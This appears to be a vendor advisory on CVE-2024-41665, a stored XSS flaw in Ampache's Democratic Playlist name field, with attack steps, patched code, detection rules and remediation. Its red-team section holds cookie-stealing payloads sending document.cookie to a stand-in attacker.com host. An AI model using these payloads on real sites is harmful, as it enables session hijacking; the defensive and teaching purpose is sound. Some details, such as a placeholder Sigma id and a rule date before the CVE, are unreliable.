CVE-2024-41665

Executive Summary

CVE-2024-41665 is a stored cross-site scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager, affecting versions prior to 6.6.0. The vulnerability resides in the "Playlists - Democratic - Configure Democratic Playlist" feature. An attacker with Content Manager permissions can inject arbitrary JavaScript into the "Name" field, which is then executed when any administrator or user accesses the democratic.php page. This allows the attacker to steal cookies, perform actions on behalf of the victim, or deface the application. The CVSS score is 5.5 (Medium), and a patch is available in version 6.6.0.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Requires Content Manager role
• User Interaction: Required (UI:R) - Victim must visit the Democratic page
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - Cookie theft possible
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access with Content Manager privileges, but the impact can be severe due to potential session hijacking and privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Democratic Playlist configuration. The application fails to sanitize or encode user input in the "Name" field when creating or editing a Democratic Playlist. An attacker with Content Manager permissions can inject a payload such as <svg onload=alert(8)>. This payload is stored in the database and rendered unsanitized when any user (including administrators) visits the democratic.php page.

Attack Flow:

1. Attacker logs in with Content Manager credentials.
2. Navigates to Playlists -> Democratic -> Configure Democratic Playlist.
3. Sets the "Name" field to a malicious payload (e.g., <svg onload=fetch('https://attacker.com/steal?cookie='+document.cookie)>).
4. Saves the configuration.
5. Any user (including admins) visiting democratic.php triggers the payload.
6. The attacker receives the victim's cookies, enabling session hijacking.

Root Cause: Lack of output encoding/escaping when rendering the playlist name in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.6.0):

// In democratic.php or related template
echo $playlist->name; // Direct output without sanitization

Patched Code (6.6.0):

// Using htmlspecialchars or similar
echo htmlspecialchars($playlist->name, ENT_QUOTES, 'UTF-8');

The patch ensures that HTML special characters are encoded, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Ampache instance (version < 6.6.0)
• Valid Content Manager account

Steps:

1. Log in as Content Manager.
2. Navigate to index.php?page=democratic&action=show_configure.
3. In the "Name" field, inject the payload:

   <svg onload=fetch('https://attacker.com/steal?c='+document.cookie)>
   

4. Save the configuration.
5. Wait for an administrator to visit democratic.php.
6. Capture the cookie on your attacker server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual playlist names containing <, >, script, onload, onerror, etc.
• Review access logs for democratic.php and show_configure actions.
• Use WAF rules to block XSS payloads in POST parameters.

Hardening:

• Upgrade to Ampache 6.6.0 immediately.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict Content Manager permissions to trusted users only.
• Enable input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to democratic.php with suspicious name parameters containing <, >, onload, onerror, script, etc.
  • Outbound connections to attacker-controlled domains from the Ampache server.
• File System:
  • Modified database entries in the playlist table with malicious name values.
• Logs:
  • Web server logs showing democratic.php accessed with unusual query strings.
  • Application logs indicating playlist configuration changes by non-admin users.

Detection Engineering

YARA Rule

rule Detect_Ampache_Stored_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Ampache Democratic Playlist names"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41665"
    strings:
        $xss1 = /<[^>]*on\w+\s*=[^>]*>/i
        $xss2 = /<script[^>]*>.*<\/script>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Ampache Stored XSS in Democratic Playlist Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Ampache Democratic Playlist configuration
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'index.php?page=democratic&action=save_configure'
        cs-uri-post|contains:
            - '<'
            - '>'
            - 'onload'
            - 'onerror'
            - 'script'
    condition: selection
falsepositives:
    - Legitimate use of special characters in playlist names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Ampache Stored XSS in Democratic Playlist Name"; flow:to_server,established; content:"POST"; http_method; content:"index.php"; http_uri; content:"page=democratic"; http_uri; content:"action=save_configure"; http_uri; pcre:"/(<[^>]*on\w+\s*=|javascript\s*:|<script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Ampache version 6.6.0 or later.
2. If upgrade is not possible, manually apply the patch by adding htmlspecialchars() to the playlist name output in democratic.php.
3. Review and revoke Content Manager permissions for untrusted users.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security audits and penetration testing.
• Educate users on the risks of XSS and safe browsing practices.

Workaround:

• Disable the Democratic Playlist feature if not needed by setting $conf['democratic'] = false; in the configuration file.

Valters IT